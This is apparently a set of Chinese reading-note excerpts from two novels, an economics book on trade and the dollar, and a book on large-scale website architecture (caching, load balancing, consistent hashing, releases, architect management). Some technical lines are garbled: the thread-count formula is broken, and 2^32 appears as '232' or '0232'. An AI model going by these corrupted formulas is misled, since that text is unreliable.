　　那年深秋，法莎娜生了个死产的女婴。哈桑亲吻那个婴儿毫无生气的脸，我们将她葬在后院，就在蔷薇花丛旁边，我们用白杨树叶盖住那个小坟堆。我替她祷告。法莎娜整天躲在小屋里面，凄厉地哭喊。母亲的哀嚎。我求安拉，保佑你永远不会听到。

　　得到了再失去，总是比从来就没有得到更伤人。

　　至于索拉雅，我没有告诉她我回阿富汗并非明智之举。如果我那么做，她会给自己订票，坐上下一班飞往阿富汗的客机。

　　我顺着枪管向上的弧形，看见枪口冒着袅袅烟雾，看见它后面那张脸。我就是那个穿着人字型背心的人。

　　“……没有什么留给孩子吃的了。”

　　“我们是很饿，但我们不是野蛮人！他是客人！你说我该怎么办？”他的声音很疲累。

　　“……明天去找些东西，”她哭泣着说，“我拿什么来养……”

　　我蹑手蹑脚走开。现在我明白为什么那些男孩对手表亳无兴趣了。他们根本就不是在看着手表，他们看着的是我的食物。

　　还有别的，某种我一开始没有注意到的事情：几乎见不到有任何成年男子在他们身边——战争把父亲变成阿富汗的稀缺物品。

　　我睡不着，双手交叉放在胸前，透过那扇破窗，望着星光闪闪的夜空，想起人们对阿富汗的评论，也许那是对的。也许它是一个没有希望的地方。

　　他抬头望向我。他是我。我在和黑熊搏斗。

　　你父亲是一个被拉扯成两半的男人。

　　而我想让你明白的是，你父亲的深切自责带来了善行，真正的善行。我想起他所做的一切，施舍街头上的穷人，建了那座恤孤院，把钱给有需要的朋友，这些统统是他自我救赎的方式。而我认为，亲爱的阿米尔，当罪行导致善行，那就是真正的获救。

　　“这张该死的电话卡还剩下四十七分钟，我有很多话要对你说。找个地方坐下。”

　　“索拉雅？”

　　“嗯。”

　　“我爱你。”

　　我看着那张照片。你爸爸是被拉扯成两半的男人。拉辛汗在信里这么说。我是有名分的那一半，社会承认的、合法的一半，不知不觉间充当了父亲疚恨的化身。我看着哈桑，阳光打在他露出缺了两个门牙的笑脸上。爸爸的另一半，没有名分、没有特权的一半，那继承了爸爸身上纯洁高贵品质的一半，也许，在爸爸内心某处秘密的地方，这是他当成自己的真正儿子的一半。

霍乱时期的爱情

句子

　　他用心打量了女人一番，注意到她一身素孝，以及她悲痛中的不卑不亢。

　　她比他知道得更多。的确如此。她一直陪伴着他，直到他死前几个小时，一如她半生都怀着仰慕和谦卑的温柔陪伴着他一样。这种情感几乎与爱情无异，但在这座连国家机密都处于众人掌控之中的昏睡省城，竟然无人知晓。

　　于是，她知道赫雷米亚·德圣阿莫尔已经走到了解脱的边缘，他的生命所剩下的不过是写一封信的时间。医生对此简直无法相信。

　　她证实说，她不仅早就知道，而且还曾怀着爱意帮他分担过这种垂死的痛苦，就像她也曾怀着同样的爱帮他发现幸福。

美元真相

　　假设美国的所有⼯⼈和中国的所有⼯⼈都只⽣产两种商品：⼀种是⻜机，另⼀种是收⾳机。我们还假设：中美两国都有充⾜的劳动⼒，运输成本很低，不存在任何关税之类的贸易壁垒。在上述前提下，我们再假设中国⼯⼈每少制造 1 架⻜机可以多制造 10 万台收⾳机，⽽美国⼯⼈每少制造 2 架⻜机可以多制造 10 万台收⾳机。如果中美两国都决定既⽣产⻜机⼜⽣产收⾳机，那么两国在⼀定的时间段内总共可以⽣产 3 架⻜机和 20 万台收⾳机。


　　如果中美两国都只⽣产⻜机，那么对于多⽣产 1 架⻜机，美国需要做出的牺牲较⼩——只需要少⽣产 5 万台收⾳机，⽽中国则需要少⽣产 10 万台收⾳机。事实上，美国可以选择放弃⽣产收⾳机，专⼼⽣产⻜机。反过来，中国也可以选择放弃⽣产⻜机，专⼼⽣产收⾳机。在这种情况下，最后美国⼀共能⽣产 4 架⻜机，⽽中国⼀共能⽣产 20 万台收⾳机。两国消耗的资源和以前⼀样，两种商品的产量却都提⾼了。


　　假设在未来，中国能以更低的成本和更⾼的效率⽣产所有东⻄——包括⻜机（⽬前中国还做不到这⼀点）呢？如果美国⽣产⻜机的相对效率还是⽐中国⾼（相对效率是指每多⽣产 1 架⻜机要少⽣产多少台收⾳机），那么美国仍然应该专注于⽣产⻜机。我们不妨想象：利⽤⼀定数量的资源，美国可以⽣产 2 架⻜机或者 5 万台收⾳机，⽽中国可以⽣产 3 架⻜机或者 15 万台收⾳机。因此，要多⽣产 1 架⻜机，美国需要少⽣产 2.5 万台收⾳机，⽽中国需要少⽣产 5 万台收⾳机。对经济学家⽽⾔，⽣产 1 架⻜机的成本是⽤为此⽽少⽣产的收⾳机的数量来度量的。要多⽣产 1 架⻜机，美国少⽣产的收⾳机数量较少，因此美国在飞机的⽣产上具有⽐较优势。在这种情况下，如果中美两国能够分⼯⽣产⾃⼰有⽐较优势的产品，那么两国的总产量就会提⾼。


　　所以，专业化分⼯和⾃由贸易能提⾼商品的总量，降低商品的成本。⽣产成本的降低意味着商品的售价也会降低。中国将有⾜够多的⻜机来满⾜⽇益富裕的本国⼈的旅游需求，⽽美国的消费者劳伦能以更低的价格在沃尔玛买到中国⽣产的收⾳机。劳伦可以把买收⾳机时省下的钱花在其他地⽅，⽐如，周末带孩⼦去打保龄球。


　　商品售价的降低意味着⽣活成本的降低。由于通货膨胀率等于⽣活成本上涨的速率，因此商品售价的降低也意味着通货膨胀率的降低。央⾏的主要责任是确保国家的通货膨胀率不能过⾼，因为这样才能保证经济和⾦融的稳定性。此外，央⾏还负责管理国家的货币供应量和利率⽔平，通过这两个指标可以调控国家的总体经济情况。每个央⾏都会设置⼀个⽬标通货膨胀率。如果国内物价⽔平的增⻓速度超过了⽬标通货膨胀率，央⾏通常就会选择调⾼利率，以抑制借贷和减少消费⽀出，于是零售商就很难提⾼售价。从中国进⼝价格低廉的商品能够帮助美国保持较低的利率，从⽽压低美国家庭和企业的借贷成本。因此，廉价的中国商品让劳伦有能⼒⽀付⾃⼰房屋的抵押贷款，并且有钱购置房屋中的各种东⻄。


　　简⽽⾔之，⾃由贸易能提⾼所有⼈的⽣活⽔平。然⽽，事实真的是这样吗？


　　实际的情况是，上⾯所描述的这种理想情况在现实世界中并不存在，也从来就没有实现过。即使在集装箱运输的现在，商品的运输仍然会带来⾦融成本和环境成本。正是因为运输成本的存在，中国国内的汽⻋⽣产量⼀直在增⻓，已经超过了美国和⽇本两国汽⻋⽣产量的总和。

大型网站技术架构：核心原理与案例分析

摘录

　　应用程序、数据库、文件等所有的资源都在一台服务器上。通常服务器操作系统使用 Linux，应用程序使用 PHP 开发，然后部署在 Apache 上，数据库使用 MySQL，汇集各种免费开源软件及一台廉价服务器就可以开始网站的发展之路了。

　　网站使用的缓存可以分为两种：缓存在应用服务器上的本地缓存和缓存在专门的分布式缓存服务器上的远程缓存。本地缓存的访问速度更快一些，但是受应用服务器内存限制，其缓存数据量有限，而且会出现和应用程序争用内存的情况。远程分布式缓存可以使用集群的方式，部署大内存的服务器作为专门的缓存服务器，可以在理论上做到不受内存容量限制的缓存服务

　　通过负载均衡调度服务器，可将来自用户浏览器的访问请求分发到应用服务器集群中的任何一台服务器上，如果有更多的用户，就在集群中加入更多的应用服务器，使应用服务器的负载压力不再成为整个网站的瓶颈。

　　分布式数据库是网站数据库拆分的最后手段，只有在单表数据规模非常庞大的时候才使用。不到不得已时，网站更常用的数据库拆分手段是业务分库，将不同业务的数据库部署在不同的物理服务器上。

　　技术是用来解决业务问题的，而业务的问题，也可以通过业务的手段去解决。

　　分布式数据和存储： 大型网站需要处理以 P 为单位的海量数据，单台计算机无法提供如此大的存储空间，这些数据需要分布式存储。除了对传统的关系数据库进行分布式部署外，为网站应用而生的各种 NoSQL 产品几乎都是分布式的。

　　目前网站普遍使用 Hadoop 及其 MapReduce 分布式计算框架进行此类批处理计算，其特点是移动计算而不是移动数据，将计算程序分发到数据所在的位置以加速计算和分布式计算。

　　使用缓存有两个前提条件，一是数据访问热点不均衡，某些数据会被更频繁的访问，这些数据应该放在缓存中；二是数据在某个时间段内有效，不会很快过期，否则缓存的数据就会因已经失效而产生脏读，影响结果的正确性。网站应用中，缓存除了可以加快数据访问速度，还可以减轻后端应用和数据存储的负载压力，这一点对网站数据库架构至关重要，网站数据库几乎都是按照有缓存的前提进行负载能力设计的。

　　使用异步方式处理业务可能会对用户体验、业务流程造成影响，需要网站产品设计方面的支持。

　　为了抵御地震、海啸等不可抗力导致的网站完全瘫痪，某些大型网站会对整个数据中心进行备份，全球范围内部署灾备数据中心 。网站程序和数据实时同步到多个灾备数据中心。

　　一般说来，除了当前的系统功能需求外，软件架构还需要关注性能、可用性、伸缩性、扩展性和安全性这 5 个架构要素，架构设计过程中需要平衡这 5 个要素之间的关系以实现需求和架构目标，也可以通过考察这些架构要素来衡量一个软件架构设计的优劣，判断其是否满足期望。

　　因此网站高可用架构设计的前提是必然会出现服务器宕机，而高可用设计的目标就是当服务器宕机的时候，服务或者应用依然可用。

　　对于应用服务器而言，多台应用服务器通过负载均衡设备组成一个集群共同对外提供服务，任何一台服务器宕机，只需把请求切换到其他服务器就可实现应用的高可用，但是一个前提条件是应用服务器上不能保存请求的会话信息。否则服务器宕机，会话丢失，即使将用户请求转发到其他服务器上也无法完成业务处理。

　　对于缓存服务器集群，加入新的服务器可能会导致缓存路由失效，进而导致集群中大部分缓存数据都无法访问。虽然缓存的数据可以通过数据库重新加载，但是如果应用已经严重依赖缓存，可能会导致整个网站崩溃。需要改进缓存路由算法保证缓存数据的可访问性。

　　关系数据库虽然支持数据复制，主从热备等机制，但是很难做到大规模集群的可伸缩性，因此关系数据库的集群伸缩性方案必须在数据库之外实现，通过路由分区等手段将部署有多个数据库的服务器组成一个集群。

　　至于大部分 NoSQL 数据库产品，由于其先天就是为海量数据而生，因此其对伸缩性的支持通常都非常好，可以做到在较少运维参与的情况下实现集群规模的线性伸缩

　　测试程序通过多线程模拟并发用户的办法来测试系统的并发处理能力，为了真实模拟用户行为，测试程序并不是启动多线程然后不停地发送请求，而是在两次请求之间加入一个随机等待时间，这个时间被称作思考时间。

　　在某些时候，静态资源文件变化需要及时应用到客户端浏览器，这种情况，可通过改变文件名实现，即更新 JavaScript 文件并不是更新 JavaScript 文件内容，而是生成一个新的 JS 文件并更新 HTML 文件中的引用。

　　使用浏览器缓存策略的网站在更新静态资源时，应采用批量更新的方法，比如需要更新 10 个图标文件，不宜把 10 个文件一次全部更新，而是应一个文件一个文件逐步更新，并有一定的间隔时间，以免用户浏览器突然大量缓存失效，集中更新缓存，造成服务器负载骤增、网络堵塞的情况。

　　4．CSS 放在页面最上面、JavaScript 放在页面最下面

　　浏览器会在下载完全部 CSS 之后才对整个页面进行渲染，因此最好的做法是将 CSS 放在页面最上面，让浏览器尽快下载 CSS。JavaScript 则相反，浏览器在加载 JavaScript 后立即执行，有可能会阻塞整个页面，造成页面显示缓慢，因此 JavaScript 最好放在页面最下面。但如果页面解析时就需要用到 JavaScript，这时放在底部就不合适了。

　　新启动的缓存系统如果没有任何数据，在重建缓存数据的过程中，系统的性能和数据库负载都不太好，那么最好在缓存系统启动时就把热点数据加载好，这个缓存预加载手段叫作缓存预热（warm up）。对于一些元数据如城市地名列表、类目信息，可以在启动时加载数据库中全部数据到缓存进行预热。

　　分布式缓存指缓存部署在多个服务器组成的集群中，以集群方式提供缓存服务，其架构方式有两种，一种是以 JBoss Cache 为代表的需要更新同步的分布式缓存，一种是以 Memcached 为代表的不互相通信的分布式缓存。

　　一台服务器上启动多少线程合适呢？假设服务器上执行的都是相同类型任务，针对该类任务启动的线程数有个简化的估算公式可供参考：

　　启动线程数＝［任务执行时间/（任务执行时间（IO 等待时间）］］CPU 内核数

　　编程上，解决线程安全的主要手段有如下几点。

　　将对象设计为无状态对象

　　使用局部对象

　　并发访问资源时使用锁

　　从编程角度，资源复用主要有两种模式：单例（Singleton）和对象池（Object Pool）。

　　常使用 Twitter 的用户或多或少遇到过那个著名的服务不可用的鲸鱼页面，事实上，Twitter 网站的可用性不足 2 个 9。

　　为了保证核心应用和功能的正常运行，需要对服务进行降级。降级有两种手段：拒绝服务及关闭服务。

　　必须在服务层保证服务重复调用和调用一次产生的结果相同，即服务具有幂等性。

　　即使是经过严格的测试，软件部署到线上服务器之后还是经常会出现各种问题，甚至根本无法启动服务器。主要原因是测试环境和线上环境并不相同，特别是应用需要依赖的其他服务，如数据库，缓存、公用业务服务等，以及一些第三方服务，如电信短信网关、银行网银接口等。

　　因此在网站发布时，并不是把测试通过的代码包直接发布到线上服务器，而是先发布到预发布机器上，开发工程师和测试工程师在预发布服务器上进行预发布验证，执行一些典型的业务流程，确认系统没有问题后才正式发布。

　　一个真实的案例是某网站需要验证海外第三方支付功能，每件商品的售价本来是数千美金，工程师不可能花数千美金去验证自己开发的功能，于是将金额改成一美元，验证成功后，幸福地发布上线了，第二天上班后，发现大量商品以一美元的价格成交。

　　对于有固定发布日期的网站（很多网站选择周四作为发布日，这样一周前面有三天时间可以准备发布，后面还有一天时间可以挽回错误。如果选择周五发布，发现问题就必须要周末加班了。）

　　由于火车发布模型是基于规则驱动的流程，所以这个流程可以自动化。采用火车发布模型的网站会开发一个自动化发布的工具实现发布过程的自动化。根据响应驱动流程，自动构造代码分支，进行代码合并，执行发布脚本等。正常流程下，可以做到发布过程无人值守，无需 SCM（网站配置管理员）参与，每个项目相关人员基于流程执行相应的操作，即可完成应用自动发布。人的干预越少，自动化程度越高，引入故障的可能性就越小，火车准点到达，大家按时下班的可能性就越大。

　　大型网站会使用灰度发布模式，将集群服务器分成若干部分，每天只发布一部分服务器，观察运行稳定没有故障，第二天继续发布一部分服务器，持续几天才把整个集群全部发布完毕，期间如果发现问题，只需要回滚已发布的一部分服务器即可。

　　灰度发布也常用于用户测试，即在部分服务器上发布新版本，其余服务器保持老版本（或者发布另一个版本），然后监控用户操作行为，收集用户体验报告，比较用户对两个版本的满意度，以确定最终的发布版本。这种手段也被称作 AB 测试。

　　此外，大型网站的用户日志数据量惊人，数据存储与计算压力很大，目前许多网站逐步开发基于实时计算框架 Storm 的日志统计与分析工具。

　　监控管理系统可以配置报警阈值和值守人员的联系方式，报警方式除了邮件，即时通信工具，还可以配置手机短信，语音报警，系统发生报警时，工程师即使在千里之外、夜里睡觉也能被及时通知，迅速响应。

　　一般说来，网站的伸缩性设计可分成两类，一类是根据功能进行物理分离实现伸缩，一类是单一功能通过集群实现伸缩。前者是不同的服务器部署不同的服务，提供不同的功能；后者是集群内的多台服务器部署相同的服务，提供相同的功能。

　　利用 HTTP 重定向协议实现负载均衡。

　　这种负载均衡方案的优点是比较简单。缺点是浏览器需要两次请求服务器才能完成一次访问，性能较差；重定向服务器自身的处理能力有可能成为瓶颈，整个集群的伸缩性规模有限；使用 HTTP302 响应码重定向，有可能使搜索引擎判断为 SEO 作弊，降低搜索排名。因此实践中使用这种方案进行负载均衡的案例并不多见。

　　DNS 域名解析负载均衡的优点是将负载均衡的工作转交给 DNS，省掉了网站管理维护负载均衡服务器的麻烦，同时许多 DNS 还支持基于地理位置的域名解析，即会将域名解析成距离用户地理最近的一个服务器地址，这样可加快用户访问速度，改善性能。但是 DNS 域名解析负载均衡也有缺点，就是目前的 DNS 是多级解析，每一级 DNS 都可能缓存 A 记录，当下线某台服务器后，即使修改了 DNS 的 A 记录，要使其生效也需要较长时间，这段时间，DNS 依然会将域名解析到已经下线的服务器，导致用户访问失败；而且 DNS 负载均衡的控制权在域名服务商那里，网站无法对其做更多改善和更强大的管理。

　　事实上，大型网站总是部分使用 DNS 域名解析，利用域名解析作为第一级负载均衡手段，即域名解析得到的一组服务器并不是实际提供 Web 服务的物理服务器，而是同样提供负载均衡服务的内部服务器，这组内部负载均衡服务器再进行负载均衡，将请求分发到真实的 Web 服务器上。

　　由于反向代理服务器转发请求在 HTTP 协议层面，因此也叫应用层负载均衡。其优点是和反向代理服务器功能集成在一起，部署简单。缺点是反向代理服务器是所有请求和响应的中转站，其性能可能会成为瓶颈。

　　使用三角传输模式的链路层负载均衡是目前大型网站使用最广的一种负载均衡手段。在 Linux 平台上最好的链路层负载均衡开源产品是 LVS（Linux Virtual Server）。

　　最少连接（Least Connections）

　　记录每个应用服务器正在处理的连接数（请求数），将新到的请求分发到最少连接的服务器上，应该说，这是最符合负载均衡定义的算法。同样，最少连接算法也可以实现加权最少连接。

　　源地址散列（Source Hashing）

　　根据请求来源的 IP 地址进行 Hash 计算，得到应用服务器，这样来自同一个 IP 地址的请求总在同一个服务器上处理，该请求的上下文信息可以存储在这台服务器上，在一个会话周期内重复使用，从而实现会话黏滞。

　　分布式缓存服务器集群中不同服务器中缓存的数据各不相同，缓存访问请求不可以在缓存服务器集群中的任意一台处理，必须先找到缓存有需要数据的服务器，然后才能访问。这个特点会严重制约分布式缓存集群的伸缩性设计，因为新上线的缓存服务器没有缓存任何数据，而已下线的缓存服务器还缓存着网站的许多热点数据。

　　必须让新上线的缓存服务器对整个分布式缓存集群影响最小，也就是说新加入缓存服务器后应使整个缓存服务器集群中已经缓存的数据尽可能还被访问到，这是分布式缓存集群伸缩性设计的最主要目标。

　　很容易就可以计算出，3 台服务器扩容至 4 台服务器，大约有 75％（3/4）被缓存了的数据不能正确命中，随着服务器集群规模的增大，这个比例线性上升。当 100 台服务器的集群中加入一台新服务器，不能命中的概率是 99％（N /（N ＋1））。

　　具体算法过程为：先构造一个长度为 0232 的整数环（这个环被称作一致性 Hash 环），根据节点名称的 Hash 值（其分布范围同样为 0232 ）将缓存服务器节点放置在这个 Hash 环上。然后根据需要缓存的数据的 KEY 值计算得到其 Hash 值（其分布范围也同样为 0~232），然后在 Hash 环上顺时针查找距离这个 KEY 的 Hash 值最近的缓存服务器节点，完成 KEY 到服务器的 Hash 映射查找。

　　具体应用中，这个长度为 232 的一致性 Hash 环通常使用二叉查找树实现，Hash 查找过程实际上是在二叉查找树中查找不小于查找数的最小数值。当然这个二叉树的最右边叶子节点和最左边的叶子节点相连接，构成环。

　　计算机领域有句话：计算机的任何问题都可以通过增加一个虚拟层来解决 。

　　显然每个物理节点对应的虚拟节点越多，各个物理节点之间的负载越均衡，新加入物理服务器对原有的物理服务器的影响越保持一致（这就是一致性 Hash 这个名称的由来）。那么在实践中，一台物理服务器虚拟为多少个虚拟服务器节点合适呢？太多会影响性能，太少又会导致负载不均衡，一般说来，经验值是 150，当然根据集群规模和负载均衡的精度需求，这个值应该根据具体情况具体对待。

　　除了数据库主从读写分离，前面提到的业务分割模式也可以用在数据库，不同业务数据表部署在不同的数据库集群上，即俗称的数据分库。这种方式的制约条件是跨库的表不能进行 Join 操作。

　　在大型网站的实际应用中，即使进行了分库和主从复制，对一些单表数据仍然很大的表，比如 Facebook 的用户数据库，淘宝的商品数据库，还需要进行分片，将一张表拆开分别存储在多个数据库中。

　　高手定律：这个世界只有遇不到的问题，没有解决不了的问题，高手之所以成为高手，是因为他们遇到了常人很难遇到的问题，并解决了。所以百度有很多广告搜索的高手，淘宝有很多海量数据的高手，QQ 有很多高并发业务的高手，原因大抵如此。一个 100 万用户的网站，不会遇到 1 亿用户同时在线的问题；一个拥有 100 万件商品网站的工程师，可能无法理解一个拥有 10 亿件商品网站的架构。

　　救世主定律：遇到问题，分析问题，最后总能解决问题。如果遇到问题就急匆匆地从外面挖一个高手，然后指望高手如探囊取物般轻松搞定，最后怕是只有彼此抱怨和伤害。许多问题只是看起来一样，具体问题总是要具体对待的，没有银弹，没有救世主。所以这个定律准确地说应该是“没有救世主定律”。

　　经常听到各种场合中对扩展性和伸缩性的误用，包括许多资深网站架构师也常常混淆两者，用扩展性表示伸缩性。在此，我们澄清下这两个概念。

　　扩展性（Extensibility）

　　指对现有系统影响最小的情况下，系统功能可持续扩展或提升的能力。表现在系统基础设施稳定不需要经常变更，应用之间较少依赖和耦合，对需求变更可以敏捷响应。它是系统架构设计层面的开闭原则 （对扩展开放，对修改关闭），架构设计考虑未来功能扩展，当系统增加新功能时，不需要对现有系统的结构和代码进行修改。

　　伸缩性（Scalability）

　　指系统能够通过增加（减少）自身资源规模的方式增强（减少）自己计算处理事务的能力。如果这种增减是成比例的，就被称作线性伸缩性。在网站架构中，通常指利用集群的方式增加服务器数量、提高系统的整体事务吞吐能力。

　　事件驱动架构（Event Driven Architecture）：通过在低耦合的模块之间传输事件消息，以保持模块的松散耦合，并借助事件消息的通信完成模块间合作，典型的 EDA 架构就是操作系统中常见的生产者消费者模式。

　　编译、部署困难：对于网站开发工程师而言，打包构建一个巨型应用是一件痛苦的事情，也许只是修改了一行代码，输入 build 命令后，抽完一支烟，回来一看，还在 building；又去喝了一杯水，回来一看，还在 building；又去了一次厕所，回来一看，还在 building；好不容易 build 结束，一看编译失败，还得重来……

　　那么有没有办法能够做到可扩展的数据结构设计呢？无需修改表结构就可以新增字段呢？许多 NoSQL 数据库使用的 ColumnFamily（列族）设计就是一个解决方案。ColumnFamily 最早在 Google 的 Bigtable 中使用，这是一种面向列族的稀疏矩阵存储格式，如表 1 所示。

　　使用支持 ColumnFamily 结构的 NoSQL 数据库，创建表的时候，只需要指定 ColumnFamily 的名字，无需指定字段（Column），可以在数据写入时再指定，通过这种方式，数据表可以包含数百万的字段，使得应用程序的数据结构可以随意扩展。而在查询时，可以通过指定任意字段名称和值进行查询。

　　网站通过不断试错，在残酷的市场中寻找自己的竞争优势，持续地推出新功能，发现达不到预期，就立马下线。所以我们看到网站总是不停地推出新功能，发布新产品。打开 Google 首页的“更多”链接，Google 产品分门别类一大堆，这还只是 Google 重点推广的产品中的一小部分。这些走马灯般出现的产品背后则是网站工程师辛勤的工作和汗水。

　　最早由微软提出，即浏览器禁止页面 JavaScript 访问带有 HttpOnly 属性的 Cookie。HttpOnly 并不是直接对抗 XSS 攻击的，而是防止 XSS 攻击者窃取 Cookie。对于存放敏感信息的 Cookie，如用户认证信息等，可通过对该 Cookie 添加 HttpOnly 属性，避免被攻击脚本窃取。

　　贝叶斯算法认为特征值之间是独立的，所以也被称作是朴素贝叶斯算法（Native Bayes），这个假设很多时候是不成立的，特征值之间具有关联性，通过对朴素贝叶斯算法增加特征值的关联依赖处理，得到 TAN 算法。更进一步，通过对关联规则的聚类挖掘，得到更强大的算法，如 ARCS 算法（Association Rule Clustering System）等。但是由于贝叶斯分类算法简单，处理速度快，仍是许多实时在线系统反垃圾的首选。

　　当交易的某些指标满足一定条件时，就会被认为具有高风险的欺诈可能性。比如用户来自欺诈高发地区；交易金额超过某个数值；和上次登录的地址距离差距很大；用户登录地与收货地不符；用户第一次交易等等。

　　经过充分训练后的统计模型，准确率不低于规则引擎。分类算法的实时计算性能更好一些，由于统计模型使用模糊识别，并不精确匹配欺诈类型规则，因此对新出现的交易欺诈还具有一定预测性。

　　2003 年，花 3000 美金买来的淘宝网站是用 PHP 开发的，淘宝的工程师做了简单的汉化处理，并对数据库做了读写分离，最早的淘宝网架构如图 5 所示。

　　当时淘宝还开发了另一个重要产品 Antx，这个针对 Java 平台的、扩展自 Ant 的项目构建工具对于网站项目开发、测试、发布至关重要，一个非常重要的功能就是管理配置项。对于一个 Java 开发的大型 Web 系统，内部通常会包含数百个 jar 文件，每个 jar 文件都是一个独立的模块，这些模块由不同团队开发，实现不同功能，最后组成一个完整的系统。这些模块通常也都有自己的配置文件，比如数据库连接模块需要配置数据库 URL、连接池大小等，这些配置参数在开发环境、测试环境、生产环境各不相同。Antx 提供了一个灵活管理这些分散配置项的解决方案。

　　这也再一次验证了辩证法关于事物发展的否定之否定及螺旋式上升的普遍规律，仿佛回到原点，但一切已经完全不同了。

　　目前 Wikipedia 网站建立在 LAMP（LinuxLApacheAMySQLMPHP）之上，其他基础技术组件也全部采用免费的开源软件。因为 Wikipedia 是非盈利的，所以尽可能使用免费的软件和廉价的服务器，这种技术倾向使得技术团队不得不量体裁衣、看米下锅，榨尽系统所有资源的利用价值，用最少的资源成就最不可思议的奇迹，最终也让技术团队获得了真正的成长。

　　Wikipedia 前端架构的核心是反向代理服务器 Squid 集群，大约部署有数十台服务器，请求通过 LVS 负载均衡地分发到每台 Squid 服务器，热点词条被缓存在这里，大量请求可直接返回响应，请求无需发送到 Apache 服务器，减轻应用负载压力。Squid 缓存不能命中的请求再通过 LVS 发送到 Apache 应用服务器集群，如果有词条信息更新，应用服务器使用 Invalidation Notification 服务通知 Squid 缓存失效，重新访问应用服务器更新词条。

　　Wikipedia CDN 缓存的几条准则为：

  • 内容页面不包含动态信息，以免页面内容缓存很快失效或者包含过时信息。

  • 每个内容页面有唯一的 REST 风格的 URL，以便 CDN 快速查找并避免重复缓存。

  • 在 HTML 响应头写入缓存控制信息，通过应用控制内容是否缓存及缓存有效期等。

　　后端优化最主要的手段是使用缓存，将热点数据缓存在分布式缓存系统的内存中，加速应用服务器的数据读操作速度，减轻存储和数据库服务器的负载。Wikipedia 的缓存使用策略如下：

　　热点特别集中的数据直接缓存到应用服务器的本地内存中，因为要占用应用服务器的内存且每台服务器都需要重复缓存这些数据，因此这些数据量很小，但是读取频率极高。 　　缓存数据的内容尽量是应用服务器可以直接使用的格式，比如 HTML 格式，以减少应用服务器从缓存中获取数据后解析构造数据的代价。 　　使用缓存服务器存储 session 对象。 　　相比数据库，Memcached 的持久化连接非常廉价，如有需要就创建一个 Memcached 连接。

　　解决办法是使用 JavaScript 脚本控制，在秒杀商品静态页面中加入一个 JavaScript 文件引用，该 JavaScript 文件中加入秒杀是否开始的标志和下单页面 URL 的随机数参数，当秒杀开始的时候生成一个新的 JavaScript 文件并被用户浏览器加载，控制秒杀商品页面的展示。这个 JavaScript 文件使用随机版本号，并且不被浏览器、CDN 和反向代理服务器缓存。

　　先讲一个小故事。有一次，笔者和几个网站架构师讨论问题，期间，一位架构师被他们部门总监叫去面试一位应聘者。结果过了十几分钟，这位架构师就回来了，我们都很奇怪：怎么这么快？他笑道：“这位老兄，工作十几年，什么都不会，没什么好问的”。我们问他都问了什么问题，结果都是一些如果没有经历过，就永远不会想到的问题，而这些问题只要在大型网站技术一线呆上两三年，就一定会碰到。

　　应用程序自己的日志输出配置和第三方组件日志输出要分别配置。 　　检查 log 配置文件，日志输出级别至少为 Warn，并且检查 log 输出代码调用，调用级别要符合其真实日志级别。 　　有些开源的第三方组件也会不恰当地输出太多的 Error 日志，需要关闭这些第三方库的日志输出，至于哪些第三方库有问题，只有在遇到问题时才知道。

　　首页不应该访问数据库，首页需要的数据可以从缓存服务器或者搜索引擎服务器获取。

　　首页最好是静态的。

　　故障现象： 没有新应用发布，但是数据库服务器突然 Load 飙升，并很快失去响应。DBA 将数据库访问切换到备机，Load 也很快飙升，并失去响应。最终引发网站全部瘫痪。

　　后台服务准备好，前台应用才能启动，否则就会导致故障。这种情况被内部人戏称作“姑娘们还没穿好衣服，老鸨就开门迎客了”。

　　原因分析： 检查发现，该时段内网卡流量也下降，但是没有找到原因。过了一阵子才知道，原来有工程师在线上生产环境进行性能压力测试，占用了大部分交换机带宽。

　　网站数据库有专门的 DBA 维护，如果发现数据库存在错误记录，需要进行数据订正，必须走数据订正流程，申请 DBA 协助。于是就有工程师为避免麻烦，直接写一段数据库更新操作的代码，悄悄放到生产环境应用服务器上执行，神不知鬼不觉地订正了数据。但是如果不小心写错了 SQL，后果可想而知。

　　架构师是软件开发组织中一个比较特殊的角色，除了架构设计，软件开发等技术类工作，通常还需要承担一些管理职能：规划产品路线、估算人力资源和时间资源、安排人员职责分工，确定计划里程碑点、指导工程师工作、过程风险评估与控制等。这些管理事务需要对产品技术架构、功能模块划分、技术风险都熟悉的架构师参与或直接负责。

　　架构师作为项目组最资深的专业技术人员，是项目组开发测试工程师的前辈。从架构师的身上，工程师可以看到自己的未来，因此架构师在做人做事方面需要严格要求自己，做好表率。

　　没有懒惰的员工，只有没被激发出来的激情。所有强迫员工加班的管理者都应该为自己的无能而羞愧。

　　不要企图在项目中证明自己是正确的，一定要记住，你是来做软件的，不是来当老大的。所以不要企图去证明自己了不起，永远也别干这种浪费时间、伤害感情的事。

　　而当大家不再讨论架构的时候，表明架构已经融入到项目、系统和开发者中了，架构师越早被项目组遗忘，越表示架构非常成功；项目组越离不开架构师，越表示架构还有很多缺陷。

　　架构师作为团队的技术领导者，在项目过程中不要去试图控制什么，带着一个弹性的计划和蓝图推进，团队会管好他们自己。你越是强加禁令，队伍就越是没有纪律；你越是强制，团队就越是不能独立自主；你越是从外面寻找帮助，大家就越是没有信心。

　　所谓问题，就是体验—期望，当体验不能满足期望，就会觉得出了问题。消除问题有两种手段：改善体验或者降低期望。降低期望只是回避了问题，而如果直面期望和体验之间的差距，就会发现问题所在，找到突破点。

　　2．给上司提封闭式问题，给下属提开放式问题

　　不要问上司“你觉得该怎么办？”这种没有建设性的开放式问题，给上司提问题是希望能够得到他的支持，而不是带着一头雾水等他去指点迷津。公司付你薪水不是让你睁着迷茫的眼睛卖萌。给上司提问应该是“你觉得 A 和 B 两个方案哪个更好？”这种封闭式问题。

　　给下属提问则相反，用开放式的问题启发他去思考，寻找创新的解决方案。

　　所以，只有“元方，你怎么看？”，而没有“大人，你怎么看？”。

　　3．指出问题而不是批评人

　　如果在合作中出现问题，告诉他问题的存在和紧迫性，而不是责问他为什么出现问题。

　　人在听到批评信息的时候，本能地想要去针对批评进行反驳或者辩解，于是谈话就变成关于批评是否合理的争论，离解决问题越来越远。

　　先解决别人的问题有几个好处：

　　你帮别人解决了问题，礼尚往来，别人也会帮你解决问题。 　　在帮别人解决问题的过程中，熟悉了情况，后面解决自己的问题也就得心应手了。 　　解决别人的问题时使用的是你的解决方案，这个方案在你的控制之中，将来往这个方案里再塞一些东西解决自己的问题，手到擒来。

　　设计型架构师

　　也就是一般意义上的架构师，负责系统架构设计，同时也要负责架构的实施落地、演化发展、推广重构。

　　救火型架构师

　　充当救火队员的角色，系统出现故障或者“灵异现象”，会请他们出马解决，有时重要而紧急的项目也会由此类架构师主持。他们通常是公司的元老，对系统有全局性的认识，知道“水有多深”。

　　布道型架构师

